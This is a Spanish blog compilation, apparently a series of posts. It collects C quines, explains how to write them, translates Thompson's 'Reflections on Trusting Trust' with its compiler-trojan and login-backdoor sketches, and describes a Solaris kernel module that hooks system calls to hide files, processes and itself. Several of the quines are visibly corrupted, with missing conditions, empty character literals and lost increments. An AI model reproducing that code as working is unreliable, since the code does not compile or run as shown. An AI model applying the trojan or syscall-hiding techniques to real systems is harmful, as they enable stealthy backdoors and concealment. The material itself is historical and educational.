        "                        putchar (*p);",
        "                }",
        "                printf (\"%c,%c\", quote, newline);",
        "        }",
        "        for (pp = text + 1; *pp; pp++);",
        "}",
0 };
main () {
        char newline = 012, quote = 042, escape = 0134, *p, **pp;
        printf ("%s%c", *text, newline);

        for (pp = text; *pp; pp++) {
                printf ("        %c", quote);
                for (p = *pp; *p; p++) {
                        if (*p == quote)
                                putchar (escape);
                        putchar (*p);
                }
                printf ("%c,%c", quote, newline);
        }
        for (pp = text + 1; *pp; pp++)
                printf ("%s%c", *pp, newline);

• Autor: Daniel Martin

#include<stdio.h>
char *a[] = {"\"};\n\n",
	"main() {\n",
	"  int i=0; char *b;\n",
	"  printf(\"#include<stdio.h>\\nchar *a[] = {\\\"\");\n",
	"  while(*a[i]) {\n",
	"    for(b=a[i];*b;b++)\n",
	"      switch(*b) {\n",
	"         case '\\n': printf(\"\\\\n\"); break;\n",
	"         case '\\\\': case '\\\"': putchar('\\\\'); \n",
	"         default: putchar(*b);\n",
	"      } \n",
	"    printf(\"\\\",\\n\\t\\\"\"); \n",
	"    i++;\n",
	"  }\n",
	"  i=0;\n",
	"  while(*a[i]) {printf(a[i]);i++;}\n",
	"}\n",
	""};

main() {
  int i=0; char *b;
  printf("#include<stdio.h>\nchar *a[] = {\"");
  while(*a[i]) {
    for(b=a[i];*b;b++)
      switch(*b) {
         case '\n': printf("\\n"); break;
         case '\\': case '\"': putchar('\\');
         default: putchar(*b);
      }
    printf("\",\n\t\"");
    i++;
  }
  i=0;
  while(*a[i]) {printf(a[i]);i++;}
}

• Autor: Desconocido.

char s[] = "\";\n\
main ()\n\
{ int i; printf (\"char s[] = \\\"\");\n\
  for (i=0; s[i]; i++)\n\
  { switch (s[i]) {\n\
    case '\\n': printf (\"\\\\n\\\\\\n\"); break;\n\
    case '\\\\': printf (\"\\\\\\\\\"); break;\n\
    case '\\\"': printf (\"\\\\\\\"\"); break;\n\
    default:   printf (\"%c\", s[i]); break;}\n\
  }\n\
  printf (\"%s\",s); }\n\
";

main ()

{ int i; printf ("char s[] = \"");
  for (i=0; s[i]; i++)
  { switch (s[i]) {
    case '\n': printf ("\\n\\\n"); break;
    case '\\': printf ("\\\\"); break;
    case '\"': printf ("\\\""); break;
    default:   printf ("%c", s[i]); break;}
  }
  printf ("%s",s); }

• Autor: pjs@euclid.jpl.nasa.gov (Peter Scott)

#include stdio 

main()
{
int i;
char *a[27];
  a[0] = "#include stdio";
  a[1] = "";
  a[2] = "main()";
  a[3] = " {";
  a[4] = "   int i;";
  a[5] = "   char *a[27];";
  a[6] = "   for (i = 0; i <= 5; i++) printf (\"\%s\\n\", a[i]);";
  a[7] = "   for (i = 0; i <= 26; i++) printslash (\"   a[\%d] = \\\"\%s\\\";\\n\", i, a[i]);";
  a[8] = "   for (i = 6; i <= 26; i++) printf (\"\%s\\n\", a[i]);";
  a[9] = " }";
  a[10] = "";
  a[11] = "printslash (string, a1, a2)";
  a[12] = "char *string, *a2;";
  a[13] = "int a1;";
  a[14] = " {";
  a[15] = "   char b[100];";
  a[16] = "   int i;";
  a[17] = "   int j = 0;";
  a[18] = "   for (i = 0; i < strlen(a2); i++)";
  a[19] = "    {";
  a[20] = "      char ch = a2[i];";
  a[21] = "      if  b[j++] = '\\\\';";
  a[22] = "      b[j++] = ch;";
  a[23] = "    }";
  a[24] = "   b[j] = '\';";
  a[25] = " printf (string, a1, b);"; a[26] = " }";
  for (i = 0; i <= 5; i++) printf ("%s\n", a[i]);
  for (i = 0; i <= 26; i++) printslash ("   a[%d] = \"%s\";\n", i, a[i]);
  for (i = 6; i <= 26; i++) printf ("%s\n", a[i]);
}
printslash (string, a1, a2)
char *string, *a2;
int a1;
{
char b[100];
int i;
int j = 0;
for (i = 0; i < strlen(a2); i++)
{
      char ch = a2[i];
      if  b[j++] = '\\';
      b[j++] = ch;
}
b[j] = '';
printf (string, a1, b);
}

• Autor: Celia La

#include <stdio.h>
char* a = ";

void main() {

char* c;

printf(\"#include <stdio.h>\\nchar* a = \");

putchar(34);
for (c = a; c[0] != 0; c++) {
if (c[0] == 34) { putchar(92); putchar(34); }
else if (c[0] == 92) { putchar(92); putchar(92); }
else putchar(c[0]);
}

putchar(34);
printf(\"%s\", a);}
";

void main() {

char* c;

printf("#include <stdio.h>\nchar* a = ");

putchar(34);
for (c = a; c[0] != 0; c++) {
if (c[0] == 34) { putchar(92); putchar(34); }
else if (c[0] == 92) { putchar(92); putchar(92); }
else putchar(c[0]);
}

putchar(34); 

printf("%s", a);}

• Autor: Joseph N. Wilson (jnw@cise.ufl.edu)

char *s= "char *s= \"%s\";\n\n/* Wilson's straightforward self-reproducing program */\n\nchar *q(char *s) {\n  char *r = (char *) malloc (strlen(s)*4 + 1);\n  int i, j = 0;\n\n  for (i=0; i < strlen(s); i) {\n    switch (s[i]) {\n      case '\\\\': r[j] = '\\\\'; r[j] = '\\\\'; break;\n      case '\\\"': r[j] = '\\\\'; r[j] = '\\\"'; break;\n      case '\\n': r[j] = '\\\\'; r[j] = 'n'; break;\n      default: r[j] = s[i]; break;\n      }\n    }\n  r[j++] = '\';\n  return r;\n}\n\nmain() {\n  printf(s, q(s));\n}\n";

/* Wilson's straightforward self-reproducing program */

char *q(char *s) {
   char *r = (char *) malloc (strlen(s)*4 + 1);
   int i, j = 0;
   for (i=0; i < strlen(s); i++) {
    switch (s[i]) {
     case '\\': r[j++] = '\\'; r[j++] = '\\'; break;
     case '\"': r[j++] = '\\'; r[j++] = '\"'; break;
     case '\n': r[j++] = '\\'; r[j++] = 'n'; break;
     default: r[j++] = s[i]; break;
     }
   }
 r[j++] = '';
 return r;
}

main() {
  printf(s, q(s));
}

• Autor: Dan Hoey
• Notas: Modificado ligeramente por Joe Miller. No solamente es un quine, es un palíndromo también,

/**/char q='"',*a="*//**/char q='%c',*a=%c%s%c*/};)b(stup;]d[b=]d-852
[b)--d(elihw;)q,a,q,q,2+a,b(ftnirps{)(niam;031=d tni;]952[b,",b[259];
int d=130;main(){sprintf(b,a+2,q,q,a,q);while(d--)b[258-d]=b[d];puts(
b);}/*c%s%c%=a*,'c%'=q rahc/**//*"=a*,'"'=q rahc/**/

• Autor: Dan Hoey
• Notas: Otro palíndromo.

/**/char q='"',*a="*//**/char q='%c',*a=%c%s%c*/};)b(stup;]d[b=]d-472[b)--d(elihw;)q,a,q,q,2+a,b(ftnirps;)b(stup{)(niam;731=d tni;]572[b,",b[275];int d=137;main(){puts(b);sprintf(b,a+2,q,q,a,q);while(d--)b[274-d]=b[d];puts(b);}/*c%s%c%=a*,'c%'=q rahc/**//*"=a*,'"'=q rahc/**/

• Autor: Dan Hoey
• Notas: Y otro palíndromo más.

/**/char
q='"',*a="*//**/char
q='%c',*a=%c%s%c*/};)]d-062[b=]d[b(rahctup)--d(elihw;)q,a,q,q,2+a,b(ftnirps{)(ni
am;162=d tni;]162[b,",b[261];int d=261;main(){sprintf(b,a+2,q,q,a,q);while(d--)p
utchar(b[d]=b[260-d]);}/*c%s%c%=a*,'c%'=q
rahc/**//*"=a*,'"'=q
rahc/**/

• Autor: Dan hoey

Note: El último palíndromo…

/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'"'=q,/**/"/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'c%'=q,/**/c%s%c%/**/,q='c%';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/main(){char*a=/*/};)q,q,a,q,q,811+a(ftnirp;'%c'=q,/**/%c%s%c/**/,q='%c';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/"/**/,q='"';printf(a+118,q,q,a,q,q);}/*/=a*rahc{)(niam/**/

• Autor: Dan Hoey
• Notas: Se escribe a sí mismo de atrás hacia adelante.

main(){char*a="main(){char*a=c%s%c%,q='c%';printf(a+49,q,q,a,q);};)q,a,q,q,94+a(ftnirp;'%c'=q,%c%s%c=a*rahc{)(niam",q='"';printf(a+49,q,q,a,q);}

• Autor: Dan Hoey
• Notas: Otro que hace lo propio.

main(){char*a="main(){char*a=c%s%c%;printf(a+42,34,a,34);};)43,a,43,24+a(ftnirp;%c%s%c=a*rahc{)(niam";printf(a+42,34,a,34);}

• Autor: smr
• Notas: Este programa ganó el premio “Worst Abuse of the Rules” en el Campeonato de C ofuscado de 1994 Declara ser el programa en C más pequeño del mundo que escribe su propio código. ¡Además es un palíndromo!. Algunos compiladores dan errores fatales al compilarlo.

Bastante pequeño, ¿eh?

Hay muchos otros ejemplos más por la red, esta es solamente una pequeña parte de las grandes recolecciones de quines que se han programado, pero sirve para hacernos una idea de cuánto programador loco hay por el mundo

Primera aproximación a la programación de un quine

Si me propusieran programar un programa cuya salida es su propio código fuente en un lenguaje de programación interpretado como pueda ser bash scripting, intentaría algo parecido a esto:

#!/bin/sh
cat $0

Es decir, sacar por pantalla el contenido del fichero $0, o sea, yo mismo. Sin embargo, esto viola la ley fundamental de la programación de quines: no está permitido leer el propio fichero de código para sacar el código por pantalla. Esta regla se aplica tanto a lenguajes de programación interpretados como a lenguajes compilados, puesto que un programa en C que buscara su fichero fuente en el disco duro y lo sacase por pantalla tampoco se consideraría un quine válido.

Veamos entonces cómo podríamos hacer un quine válido: dado que lo que necesitamos es sacar código fuente por pantalla, usaremos las funciones para escribir en la pantalla en cada lenguaje de programación. Intentémoslo en bash scripting…

#!/bin/sh
echo "#!/bin/sh"
echo "echo \"#!/bin/sh\""
echo "echo \"echo \\\"#!/bin/sh\\\"\""
...

Hummm, parece que así no acabaremos nunca. Probemos en C…

#include <stdio.h>
int main(int argc, char **argv)
{
  printf("#include <stdio.h>\nint main(int argc, char **argv)\n{\nprintf(\"#include <stdio.h>\\nint main(int argc, char **argv)\\n{\\nprintf(\"...

Estamos en las mismas: la cosa va bien hasta que llegamos a la línea en la que estábamos escribiendo por pantalla y se convierte en un bucle recursivo sin salida

Elemental, querido Thompson

Tenemos que idear algo para romper esa recursividad. El quid está en las referencias, definir una cadena y su valor y poder referirnos a ella tanto por su nombre como por su valor. ¿Cómo? No hay nada mejor que verlo con un ejemplo:

char s[] = {
	'\t',
	'0',
	'\n',
	'}',
	';',
	'\n',
	'\n',
	'm',
	'a',
	'i',
	'n',
	'(',
	')',
	'\n',
	'{',
	'\n',
	'\t',
	'i',
	'n',
	't',
	' ',
	'i',
	';',
	'\n',
	'\n',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'c',
	'h',
	'a',
	'r',
	' ',
	'\\',
	't',
	's',
	'[',
	']',
	' ',
	'=',
	' ',
	'{',
	'\\',
	'n',
	'\"',
	')',
	';',
	'\n',
	'\t',
	'f',
	'o',
	'r',
	'(',
	'i',
	'=',
	'0',
	';',
	's',
	'[',
	'i',
	']',
	';',
	'i',
	'+',
	'+',
	')',
	'\n',
	'\t',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'\\',
	'r',
	'%',
	'd',
	',',
	'\\',
	'n',
	'\"',
	',',
	's',
	'[',
	'i',
	']',
	')',
	';',
	'\n',
	'\t',
	'p',
	'r',
	'i',
	'n',
	't',
	'f',
	'(',
	'\"',
	'%',
	's',
	'\"',
	',',
	's',
	')',
	';',
	'\n',
	'}',
	0
};

main() {
int i;

        printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);
}

¿Os suena el código? Los lectores atentos ya se habrán dado cuenta de que se trata precisamente del código de Ken Thompson del que hablamos en el artículo anterior. Su funcionamiento es simple:

1. Declara un array con gran parte del código fuente del programa.
2. Comienza la función principal sacando por pantalla la declaración de ese array de caracteres.
3. Realiza un bucle para ir escribiendo cada uno de sus valores, separados por comas, para completar la declaración del array.
4. Escribe por pantalla el contenido del propio array, ahora ya todo seguido, es decir, el propio código fuente.

Al utilizar una variable de tipo array de caracteres, puede acceder a ella para regenerar el propio array (en el bucle, paso 2), o bien para escribir el propio código fuente (al final, paso 4).

Este programa realmente no se auto-imprime por pantalla, sino que genera un programa que sí se auto-imprime por pantalla:

$ make thompson
cc     thompson.c   -o thompson
thompson.c: In function 'main':
thompson.c:126: warning: incompatible implicit declaration of built-in function 'printf'
$ ./thompson
char    s[] = {
9,
48,
10,
125,
59,
10,
10,
109,
97,
105,
110,
40,
41,
10,
123,
10,
9,
105,
110,
116,
32,
105,
59,
10,
10,
9,
112,
114,
105,
110,
116,
102,
40,
34,
99,
104,
97,
114,
32,
92,
116,
115,
91,
93,
32,
61,
32,
123,
92,
110,
34,
41,
59,
10,
9,
102,
111,
114,
40,
105,
61,
48,
59,
115,
91,
105,
93,
59,
105,
43,
43,
41,
10,
9,
9,
112,
114,
105,
110,
116,
102,
40,
34,
92,
114,
37,
100,
44,
92,
110,
34,
44,
115,
91,
105,
93,
41,
59,
10,
9,
112,
114,
105,
110,
116,
102,
40,
34,
37,
115,
34,
44,
115,
41,
59,
10,
125,
        0
};

main()
{
        int i;

        printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);
}

Podemos entonces hacer lo siguiente:

$ ./thompson > thompson2.c
$ make thompson2
cc     thompson2.c   -o thompson2
thompson2.c: In function 'main':
thompson2.c:243: warning: incompatible implicit declaration of built-in function 'printf'
thompson2.c:247:2: warning: no newline at end of file
$ ./thompson2 > thompson3.c
$ make thompson3
cc     thompson3.c   -o thompson3
thompson3.c: In function 'main':
thompson3.c:243: warning: incompatible implicit declaration of built-in function 'printf'
thompson3.c:247:2: warning: no newline at end of file
$ ls -l thompson[23]*
-rwxr-xr-x 1 txipi txipi 7389 2007-01-02 01:11 thompson2
-rw-rr 1 txipi txipi  757 2007-01-02 01:11 thompson2.c
-rwxr-xr-x 1 txipi txipi 7389 2007-01-02 01:11 thompson3
-rw-rr 1 txipi txipi  757 2007-01-02 01:11 thompson3.c

Implicaciones en cuanto a seguridad informática

Como se ve, a partir de la segunda generación, ya tenemos un quine que genera a su vez quines que pueden ser compilados y ejecutados. Supongo que a alguno se le habrá ocurrido otro tipo de programas en los que suele pasar esto: al programar un virus informático es muy común esto mismo. La primera generación es un poco diferente a las subsiguientes debido a que inicialmente el virus carece de huesped en el que alojarse, pero posteriormente el virus va metaprogramando los programas que encuentra para convertirlos en generadores de su propio código.

¿Podría hacerse un virus apoyándose en el concepto de quine? Si el objetivo es infectar código fuente, parece que el enfoque mediante un quine tiene bastantes probabilidades de éxito. Desde hace un tiempo ya no es necesario especular sobre este hecho: los virus de código fuente existen y en los próximos artículos transcribiré un artículo del e-zine 29a donde se muestran unos cuantos ejemplos funcionales de virus de código C escritos en C.

Dado que C es un lenguaje no interpretado, el virus tendrá dos estados:

1. Código fuente: el virus existe dentro de un fichero de código fuente C, pero no puede infectar a nadie hasta no ser compilado.
2. Código ejecutable: el virus buscará huéspedes para ser infectados, es decir, ficheros de código fuente C, en los que dejará una copia de su propio código fuente.

Este enfoque se me antoja similar al que realizan algunos parásitos orgánicos como el que provoca la toxoplasmosis, que infecta a roedores, pero se reproduce dentro del aparato digestivo de los gatos, por lo que no se reproducirá hasta que el ratón no haya sido comido por el gato (el canalla de toxoplasma gondii, protozoo causante de la toxoplasmosis, hace que los roedores sean más atrevidos, provocando que sean más fácilmente cazados por los gatos).

Reflexiones sobre confiar en la confianza

por Ken Thompson

Reimpreso de “Communication of the ACM”, Vol. 27, No. 8, August 1984, pp. 761-763. Copyright © 1984, Association for Computing Machinery, Inc. También aparece en “ACM Turing Award Lectures: The First Twenty Years 1965-1985″, Copyright © 1987 por ACM press y “Computers Under Attack: Intruders, Worms, and Viruses”, Copyright © 1990 por ACM press.

Esto es una copia convertida a digital derivada de un trabajo de la ACM bajo copyright. No está garantizado que sea una copia exacta del trabajo original del autor.

Traducción por Pablo Garaizar Sagarminaga (2006), sin ningún tipo de restricción de copia (salvo las ya existentes en el original).

Introducción

Doy gracias a la ACM por esta concesión. No puedo dejar de sentir que estoy recibiendo este honor por la sincronización y la casualidad tanto como por el mérito técnico. UNIX consiguió renombre con un cambio a nivel industrial, de mainframes centrales a los minicomputadores autónomos. Sospecho que Daniel Bobrow (1) estaría aquí en vez de mí si él no hubiera podido producir un PDP-10 y no tuviera que “colocar” un anuncio de un PDP-11. Por otra parte, el estado actual de UNIX es el resultado del trabajo de una gran cantidad de gente.

Hay un viejo adagio, “baila con la que te trajo,” que significa que debo hablar de UNIX. No he trabajado en el UNIX común en muchos años, sin embargo continúo consiguiendo crédito no merecido por el trabajo de otros. Por lo tanto, no voy a hablar de UNIX, sino que deseo dar las gracias a cada uno de los que ha contribuido.

Esto me lleva hasta Dennis Ritchie. Nuestra colaboración ha sido preciosa. En los diez años que hemos trabajado juntos, solamente puedo recordar un caso de descoordinación en el trabajo. En esa ocasión, descubrí que ambos habíamos escrito el mismo programa de 20 lineas en ensamblador. Comparé el código fuente y me asombré al encontrar que coincidían carácter a carácter. El resultado de nuestro trabajo conjunto ha sido mucho mayor que el trabajo que cada uno de nosotros contribuyó.

Soy programador. En mi formulario 1040, eso es lo que pongo como mi ocupación. Como programador, escribo programas. Quisiera presentarles el programa más lindo que escribí nunca. Haré esto en tres etapas e intentaré juntarlo al final.

Etapa I

En la universidad, antes de los videojuegos, nos divertíamos planteando ejercicios de programación. Uno de los favoritos era escribir el programa de auto-reproducción más corto. Dado que este era un ejercicio totalmente alejado de la realidad, el lenguaje de programación generalmente era FORTRAN. Realmente, FORTRAN era el lenguaje por el que optábamos por la misma razón que las carreras de tres piernas son populares.

Explicado de forma más precisa, el problema es escribir un programa que, cuando es compilado y ejecutado, produzca como salida una copia exacta de su código fuente. Si nunca has hecho esto, te animo a intentarlo por ti mismo. El descubrimiento de cómo hacerlo es una revelación que sobrepasa de lejos cualquier ventaja obtenida de haber escuchado cómo se hace. La parte sobre “el más corto” era solamente un incentivo para demostrar habilidad y para determinar a un ganador.

char s[] = {
	'\t',
	'0',
	'\n',
	'}',
	';',
	'\n',
	'\n',
	'/',
	'*',
       (213 lines deleted),
 	0
};

/*
 * This string s is a
 * representation of the body
 * of this program from '0'
 * to the end.
 */

main() {

  int i;

  printf("char \ts[] = {\n");
        for(i=0;s[i];i++)
                printf("\r%d,\n",s[i]);
        printf("%s",s);

}

CUADRO 1

El cuadro I muestra un programa que se auto-reproduce en el lenguaje de programación C (el purista observará que el programa no es exactamente un programa que se auto-reproduce, pero producirá un programa que se auto-reproduce). Este ejemplo es demasiado grande como para ganar un premio, pero demuestra la técnica y tiene dos características importantes que necesito para terminar mi historia:

1. Este programa se puede escribir fácilmente por otro programa.
2. Este programa puede contener una cantidad arbitraria de exceso de equipaje que será reproducida junto con el algoritmo principal. En el ejemplo, incluso se reproduce el comentario.

Etapa II

El compilador de C se escribe en C. Lo que estoy a punto de describir es uno de los muchos problemas del “huevo y la gallina” que se presentan cuando los compiladores se escriben en su propio lenguaje de programación. En este caso, utilizaré el ejemplo específico del compilador de C.

C permite construir una matriz (array) de caracteres inicializada indicando una cadena de caracteres (string). Los caracteres individuales en la cadena se pueden escapar para representar caracteres no imprimibles. Por ejemplo,

   "Hola mundo \ n"

representa una secuencia con el carácter “\n”, representando el carácter nueva línea.

...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
...

CUADRO 2

El cuadro 2 es una idealización del código en el compilador de C que interpreta las secuencias de escape de caracteres. Éste es un fragmento asombroso de código. “Sabe” de una manera totalmente portable qué código de carácter se compila para una nueva línea en cualquier juego de caracteres. El acto de saber esto le permite recompilarse a sí mismo, perpetuando así el conocimiento.

...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
if( c == 'v' )
  return ('\v');
...

CUADRO 3

Supongamos que deseamos modificar el compilador de C para incluir la secuencia “\v” para representar el carácter de tabulación vertical. La extensión al cuadro 2 es obvia y se presenta en el cuadro 3. Recompilamos el compilador de C, pero conseguimos un aviso. Dado que la versión binaria del compilador no sabe nada sobre “\v”, el código fuente no es obviamente C legal. Debemos “entrenar” al compilador. Después de que “sepa” qué significa “\v”, nuestro nuevo cambio se convertirá en C legal. Miramos en una tabla ASCII que un tabulador vertical es el decimal 11. Modificamos nuestro código fuente para convertirlo en el cuadro 4. Ahora el viejo compilador acepta el nuevo código fuente. Instalamos el binario resultante como el nuevo compilador de C oficial y ahora podemos escribir la versión portable de la manera en la que la teníamos en el cuadro 3.

...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
if( c == 'v' )
  return (11);
...

CUADRO 4

Este es un concepto profundo. Es lo más cercano a un programa “que aprende” que he visto. Simplemente se lo dices una vez y puedes utilizar esta definición auto-referente.

Etapa III

compile(s)
char s;
{
  ...
}

CUADRO 5

Una vez más, en el compilador de C, el cuadro 5 representa el control de alto nivel del compilador de C donde la rutina “compile” se llama para compilar la siguiente línea de código fuente. El cuadro 6 muestra una pequeña modificación para que el compilador deliberadamente compile erroneamente siempre que se encuentre un patrón particular. Si esto no fuera deliberado, esto sería un fallo en el compilador. Dado que es deliberado, debe llamarse “Caballo de Troya”.

compile(s)
char s;
{
    if(match(s,"pattern") {
        compile("bug");
        return;
    }
    ...
}

CUADRO 6

El fallo real que implanté en el compilador buscaría el patrón en el comando de “login” de UNIX. El código de reemplazo compilaría erroneamente el comando “login” de modo que aceptara una contraseña cifrada prevista o una contraseña conocida concreta. Así, si este código fue instalado en binario y fueron utilizados binarios para compilar el comando de “login”, podría registrarme en ese sistema como cualquier usuario.

Tal código, evidentemente, no pasaría desapercibido por mucho tiempo. Incluso una lectura ocasional más atenta del código fuente del compilador de C levantaría suspicacias.

compile(s)
char s;
{
    if(match(s,"pattern1") {
        compile("bug1");
        return;
    }
    if(match(s,"pattern2") {
        compile("bug2");
        return;
    }
    ...
}

CUADRO 7

El paso final se representa en el cuadro 7. Esto simplemente agrega un segundo Caballo de Troya a ya existente. El segundo patrón está dirigido al compilador de C. El código de reemplazo es un programa que se auto-reproduce, de la etapa I, que inserta ambos Caballos de Troya en el compilador. Esto requiere una fase en la que aprenda, como en el ejemplo de la etapa II. Primero compilamos el código fuente modificado con el compilador de C normal para producir un binario infectado. Instalamos este binario como el compilador oficial de C. Ahora podemos quitar el código troyano del código fuente del compilador y el nuevo binario reinsertará este código troyano siempre que compile. Por supuesto, el comando de “login” seguirá infectado sin rastro en su ninguna parte de su código fuente.

Moral

La moraleja es obvia. No puedes confiar en el código que no creaste totalmente por ti mismo (especialmente código de las empresas que contratan a gente como yo). Ninguna cantidad de verificación o de escrutinio a nivel de código fuente te protegerá contra usar código no confiable. Para demostrar la posibilidad de esta clase de ataque, escogí el compilador de C. Habría podido escoger en cualquier programa de manejo de programas tales como un ensamblador, un cargador, o incluso microcódigo de hardware. Conforme el nivel del programa es más bajo, estos código troyanos son más y más difíciles de detectar. Un troyano bien instalado en microcódigo será casi imposible de detectar.

Después de intentar convencerte de que no puedes confiar en mí, deseo moralizar. Quisiera criticar el manejo que hace la prensa de los “hackers”, de la banda 414, de la banda de Dalton, del etc. Los actos realizados por estos chicos son vandalismo en el mejor de los casos y probablemente allanamiento y hurto en el peor. Solamente la insuficiencia del código penal ahorra a estos hackers una pena muy grave. Las empresas que son vulnerables a estas actividades (y la mayoría de las empresas grandes son muy vulnerables) están presionando fuertemente para poner al día el código penal. El acceso desautorizado a los sistemas informáticos es ya un crimen grave en algunos estados y se está tratando actualmente en muchas más legislaturas de estado así como en el congreso.

Hay una situación explosiva en ebullición. Por una parte, la prensa, la televisión, y las películas convierten en héroes a vándalos llamándolos “whiz kids”. Por otra parte, los actos realizados por estos chicos pronto serán castigados con varios años en prisión.

He visto testificar a estos chicos antes del congreso. Está claro que son totalmente inconscientes de la seriedad de sus actos. Hay obviamente una brecha cultural. El acto de entrar en un sistema informático tiene que tener el mismo estigma social que entrar en la casa de un vecino. No debe importar que la puerta del vecino esté abierta. La prensa debe aprender que el uso incorrecto de una computadora no es más asombroso que conducir bebido un automóvil.

Reconocimiento

Primero leí de la posibilidad de tal Caballo de Troya en una crítica de las Fuerza Aéreas (4) sobre la seguridad de una puesta en práctica temprana de Multics. No puedo encontrar una referencia más específica a este documento. Apreciaría si alguien pudiera conseguirme esta referencia.

Referencias

1. Bobrow, D.G., Burchfiel, J.D., Murphy, D.L., and Tomlinson, R.S. TENEX, a paged time-sharing system for the PDP-IO. Commun. ACM 15, 3 (Mar. 1972), 135-143.
2. Kernighan, B.W., and Ritchie, D.M. The C Programming Language. Prentice-Hall, Englewood Cliffs, N.J., 1978.
3. Ritchie, D.M., and Thompson, K. The UNIX time-sharing system. Commun. ACM 17, 7(July 1974), 365-375.
4. Unknown Air Force Document.

El LKM quark

Funcionalidades

El módulo de kernel “quark” está orientado a la protección de nuestros sistemas Solaris frente a ataques que utilicen otros LKMs, además de proporcionar otras funcionalidades como proteger el demonio de log del sistema, ocultar archivos, directorios y procesos, etc.

Para utilizar “quark” en entornos de pruebas, se ha utilizado una opción de compilación (-DDEBUG) mediante la cual el funcionamiento del módulo perderá transparencia con objeto de informar de las modificaciones al sistema que se van realizando en ejecución. Al incluirse esta opción como optativa, podemos usar “quark” tanto para pruebas como en un entorno de producción, sin tener que hacer modificaciones en el código.

El objetivo principal de “quark” es proteger el sistema, por lo que necesita a su vez protegerse a sí mismo para evitar que sus esfuerzos en mantener la integridad del sistema sean deshabilitados. Por ello, “quark” no muestra información acerca de sí mismo a modinfo. Esto evitará que atacantes poco exhaustivos caigan en la cuenta de su presencia (un intruso con paciencia y conocimientos podría delatar su presencia investigando la tabla de símbolos del kernel).

Otra funcionalidad reseñable es la posibilidad de configurar una cadena de caracteres concreta, y todo fichero que la contenga se ocultará a todos los usuarios, siendo invisible incluso para root. Esto puede servirnos para ocultar ficheros o directorios confidenciales, puntos débiles del sistema, etc.

A pesar de ocultarse, alguien podría intuir su presencia y desinstalarlo o instalar un nuevo LKM que invalide la acción de nuestro módulo. Para protegernos de esto, “quark” no permite que se descarguen o se carguen más módulos del sistema. Así, si nos aseguramos de que nuestro módulo se ha cargado antes que un posible módulo atacante, la tabla de peticiones al sistema estará protegida y el mecanismo de carga y descarga de módulos quedará bloqueado.

Todas las funcionalidades comentadas están regidas por el valor de una variable, secureflag, mediante la que definimos si los criterios de seguridad deben aplicarse o no. El valor de esta variable se puede modificar una vez “quark” esté cargado, así que no es necesaria la recarga o compilación del módulo. Por lo tanto, podemos mantener al sistema protegido y cuando sea necesario cargar un nuevo módulo, por ejemplo, deshabilitamos momentáneamente la seguridad, cargamos el módulo y la volvemos a habilitar. Esta forma de funcionar permite aunar seguridad y flexibilidad.

Una de las cosas más típicas que se producen al sufrir un ataque es la pérdida o manipulación de los logs del sistema. Como ya hemos comentado, “quark” puede ser utilizado para proteger determinados ficheros, pero, además, actúa con un cuidado especial a la hora de asegurar el demonio encargado de los logs del sistema (syslogd). Su manera de funcionar es la siguiente: por defecto, el demonio de logs del sistema se ejecutará normalmente y está visible dentro de la lista de procesos. Cuando un atacante trata de detener su ejecución, “quark” simula que esa detención ha tenido éxito y oculta el proceso del demonio. El sistema seguirá generando logs, pero de manera invisible para los usuarios. El intruso en cuestión creerá estar a salvo y obrará de manera menos cautelosa, sin saber que sus pasos están siendo vigilados.

Para que todo esto sea posible, ha sido preciso parchear varias llamadas al sistema, como veremos en la siguiente sección.

Programación

La estructura básica del módulo es muy simple:

• Las funciones y estructuras de datos obligatorias para todo módulo de kernel (_init(), _info(), _fini()).
• Funciones destinadas a suplantar las peticiones al sistema originales.
• Funciones adicionales.

Lo principal dentro de las funciones de carga y descarga del módulo es ser cuidadoso para poder dejar todo como estaba anteriormente a su carga. Por ello, a pesar de que durante la carga del módulo se suplantan varias llamadas al sistema, las funciones originales se guardan en punteros a funciones específicos, para poder restaurarlas durante la descarga del módulo.

Comentemos ahora cada una de las llamadas al sistemas que ha sido necesario suplantar para conseguir las funcionalidades que ofrece “quark”:

• Ocultación de ficheros

En los sistemas UNIX estándar los ficheros y directorios se organizan en función de unas estructuras denominadas dirent. Cuando queremos mostrar el contenido de un directorio, o hacer una búsqueda en el disco duro se hace una petición al sistema (getdents()), por lo tanto, parcheando esa syscall podremos decidir qué se mostrará. En Solaris esto es exactamente igual, con la salvedad de que la syscall utilizada es la versión de 64 bits (getdents64()). La lista de ficheros que devuelve esta petición al sistema es filtrada antes de devolverse al área de usuario, eliminando los ficheros que hayamos creído conveniente.

En “quark” definimos una cadena de caracteres (#define HIDEFILENAME “hide.me”) y todos los ficheros o directorios que contengan esa cadena serán eliminados de la salida que se proporcionará a la función que solicitó la información desde el área de usuario.

Para proteger los ficheros y directorios no basta con ocultarlos, en “quark” hemos parcheado también open(), open64() y chdir(). La causa de tener que modificar dos veces open reside en la arquitectura híbrida de Solaris: mientras que muchos programas utilizan ya la versión de open de 64 bits, existen comandos que todavía siguen empleando la versión de 32 bits. Si solamente modificáramos una de las dos, los ficheros podrían ser accedidos por los comandos que utilizasen la otra petición al sistema. Parcheando chdir() evitamos que se accedan a los directorios protegidos. Todas estas modificaciones en la tabla de peticiones al sistema pueden habilitarse y deshabilitarse, así que no es necesario desinstalar el módulo para crear o editar ficheros y directorios que contengan la cadena de caracteres que hay que ocultar. Cuando alguien intente acceder a ellos el sistema devolverá un error, similar a los que devuelve cuando los ficheros no existen, para evitar sospechas (“No such file or directory”).

• Ocultación de procesos

Existen varios métodos para ocultar procesos. Muchos rootkits instalan versiones troyanizadas de los comandos que muestran los procesos del sistema (ps, pgrep, ptree…). Desde un enfoque de módulo de kernel, esto no es necesario, sino que es mucho más efectivo modificar las syscalls y que cualquier comando que las use, proporcione información modificada convenientemente por nosotros.

